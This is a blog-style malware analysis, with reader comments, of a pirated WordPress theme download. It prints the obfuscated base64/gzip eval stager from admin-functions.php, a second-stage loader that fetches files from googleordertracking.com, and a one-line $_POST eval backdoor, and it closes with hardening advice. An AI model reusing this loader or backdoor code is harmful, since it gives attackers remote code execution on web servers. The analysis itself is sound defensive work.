Why Pirating Premium WordPress Themes is a Bad Idea

Free Themes are Great Right…?

Following on from my limited interaction with the GetMama malware that was infecting PHP sites on shared hosts, I’m going to hopefully show why it’s a bad idea to go looking for pirated copies of premium WordPress themes.

Theme Selection

I picked a popular premium theme called Canvas made by WooThemes that I will attempt to download for free and check for malicious code. The search, as shown below, nicely demonstrates how widely available pirated copies of paid-for WordPress themes are.

I ended up using the download from the third result as it appeared to offer a more recent copy of the theme. The resulting download actually contained many of the themes made by WooThemes, but I stuck to Canvas.

An analysis of the file by VirusTotal can be found here: WooThemes.rar, 20.3MB

Analysis

After running all the files through a script that looks for uses of eval and base64_decode (what I believe are the most common methods of obfuscation for bad PHP code), I found a couple of uses of base64_decode.

The Staging Code (or Payload #1)

One base64 encoded string was a legitimate encoded image, however within the /functions/admin-functions.php file at line 1021 you can find the following:

eval(base64_decode(gzuncompress(base64_decode('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'))));

After decoding (see http://ddecode.com/phpdecoder/?results=7b24c8e32953ee64be62fb974b4cab7f) the following was found (formatted and de-obfuscated):

This is simple a script that attempts to connect to the hosts googleordertracking.com and autoupdatesystem.com to download a further payload.

Firstly, if the curl function is available, this script will POST information that includes:

  • The value of $_SERVER["SERVER_NAME"]
  • The script’s location on the server
  • The string “wp” (for WordPress I assume)

This information is only sent to googleordertracking.com.

If curl is not available it will use file_get_contents on the first host and make a GET request that includes the SERVER_NAME value.

Finally, if no payload has been downloaded from the first host (either by the POST or GET request), it’ll try the same file_get_contents on the second host.

The script then stores, in a WordPress option with a key of “wpfc_default_post”, an array of the date of the request and the key-value pair “r” = 1 (I assume to mark that a request has been made).

It also stores the downloaded payload under another option with a key of “wpfc_default_types”.

Oddly the script will only attempt to get a further payload under the following conditions:

  • The script has not previously attempted to get the further payload
  • The day of the month saved in “wpfc_default_post” matches the current day
  • The current day is either the 1st, 7th, 15th, 21st or the 29th

Finally the script evals the payload it has stored. This script is hooked to “wp_footer” and so will run on all front end page loads.

Payload #2

After emulating the request that the script makes (see this C# script for an example) we get payload number two.

eval(gzuncompress(base64_decode(eJzLTNNQzCyOT8vMSdVQLy/QzclPTEkt0ivIKFDX1Kzm5VIAAhWQrIKtApq8NVS2tCgHJJlRUlJgpa+fnp+fnpOaXwRUVVKUmJydmZeul5yfq58MVJaTmZetjzCkpKIEZgjIhviC0pL45Py8ktS8kmINsKU6YPH0VGRxoDmamkBt2N1GBZdR6K5aXi4Aj6RvaA==)));

http://ddecode.com/phpdecoder/?results=b4c5b536aec74e7c01302cc17b447991

if( !is_file('wp-loader.php') )
{
    $file = 'wp-loader.php';
    $url = 'http://googleordertracking.com/curllink/wp-loader.txt';

    file_put_contents($file, file_get_contents($url));

    $file = 'wp-load.php';
    $url = 'http://googleordertracking.com/curllink/wp-load.txt';

    file_put_contents($file, file_get_contents($url));
}

It’s worth noting the remote server doesn’t seem to check if the payload is being downloaded during one of the days defined in the first script.

Remember, this payload is eval’d by the first script meaning the two files defined in this payload are both saved to the system.

Payload 3 (and 4…)

The second file downloaded has another obfuscated eval call which matches the first payload (see here). This replaces a core file used by WordPress. By replacing this file the script ensures that the WordPress installation remains infected even if the theme is changed or removed.

Humorously in trying to hide the obfuscated code from view, the author of this file appended many tabs before the offending line of code.

It’s the first file, wp-loader.php, that’s really interesting. Using a similar name to the other file in another attempt to hide, it contains the following code (at line 23):

error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); if(isset($_POST['dx'])) eval($_POST['dx']); die;

This is what does the damage:

if(isset($_POST['dx'])) eval($_POST['dx']);

For those that don’t know, the eval function call here combined with an unfiltered $_POST value allows any remote party to run arbitrary PHP code on your blog’s server. This can very quickly lead to a fully compromised server.

The rest of the script (a copy of the content from the official WordPress file) after the die; call does not actually run, it’s simply there to distract the casual observer.

In Summary

  1. The malware within the theme downloads a payload from one of two hosts
    • This request is no doubt recorded by the malicious party so they know what systems they have access to
  2. This second payload then downloads and saves two malicious files, wp-load.php and wp-loader.php
  3. Replacing wp-load.php ensures the installing remains infected even if the theme is changed
  4. wp-loader.php can then be used for remote code execution

Conclusion

It would be safe to assume that most pirated copies of premium / paid-for WordPress themes contain similar malware. It appears that in this download all the other themes were similarly infected.

To stay safe only use official distribution channels like the WordPress theme directory when installing a new theme.

Disabling dangerous functions not used in your applications is also a good idea, see this Stack Overflow answer for how to do this in PHP.

Finally to stop dead this particular script, by setting allow_url_fopen to “Off” in your php.ini file any function that uses fopen, such as file_get_contents, can only open files on the local system, see the documentation here.

I’ve submitted this to the /r/netsec subreddit, feel free to ask questions and make suggestions there or in the comments below. There’s also a nice discussion going on in the /r/WordPress cross post.

17 thoughts on “Why Pirating Premium WordPress Themes is a Bad Idea”

  1. Apart from the ethics, another good reason to buy from the theme author is updates. Issues like the timthumb exploit happen, and occasionally authors find or are notified of security problems with their code, and release a fix. This is also why you should use a child theme for ease of updating.

  2. Great discovery and explanation. I have seen both functions in themes before. Can these be injected through 3rd party PLUGINS as well?

    1. Thanks! I believe you could just simply paste that eval code directly into a plugin. The call to add_action would do just the same as in a theme, causing the method to be called in this case whenever the footer is displayed.

  3. Neat article. I agree that pirating these themes opens you up to additional code being added to the theme. With that said, buying a theme is by no means a sure fire way to avoid malware being added to your code. The only way to know is to grep the code.

    Take, for example, this theme: http://themeforest.net/item/goodchoice-responsive-multipurpose-theme/4244819

    It is used by many people based on the number of purchases and costs $55. Given this, we might assume that this is legitimate “Premium” theme. Unfortunately, if you look through the code, the template has obfuscated script tags that point back to a .ru based domain. Currently, the script is just a blank file (not a 404, but a blank file). The author of the theme is from Russia so if we’re being really optimistic we might assume that this is some kind of built in anti-piracy or marketing tracking mechanism. In the worst case, the author isn’t even aware or in control of this domain. Even in this super optimistic situation where the author has no evil intentions, you’re opening yourself up to being exploited. Let’s assume that the author loses control of his domain because he forgets to pay his registrar or is rebranding. His domain expires and someone else buys the domain. This person will continue to get your http requests and could inject any code they like into your page. The only way to protect yourself is to remove this code from your pages.

    Bottom line. Please do not trust pirated OR non-pirated content. Executing code someone else’s code on your server should always be approached with caution.

  4. And on this note: is there any “PHP antivirus” that can scan php source code and alert for this kind of code / hidden code?

    1. I’ve come across several online scanners such as Sucuri SiteCheck and StopTheHacker, but not that many. They can only scan what your server is serving, not what code is actually running though. I’d hope such sites would check to see if your server is hosting a bad page like wp-loader.php and notify you.

      I have yet to come across anything but homebrew solutions for scanning your source files for malware, though I’m sure there is something available.

  5. If you’re going to pirate something, have the brains to grep through for common exploits. None of this is exactly groundbreaking news.

  6. Thanks for the heads up, and I fully agree – any pirated software is a no-no. That malicious embedded code looks scary!

Comments are closed.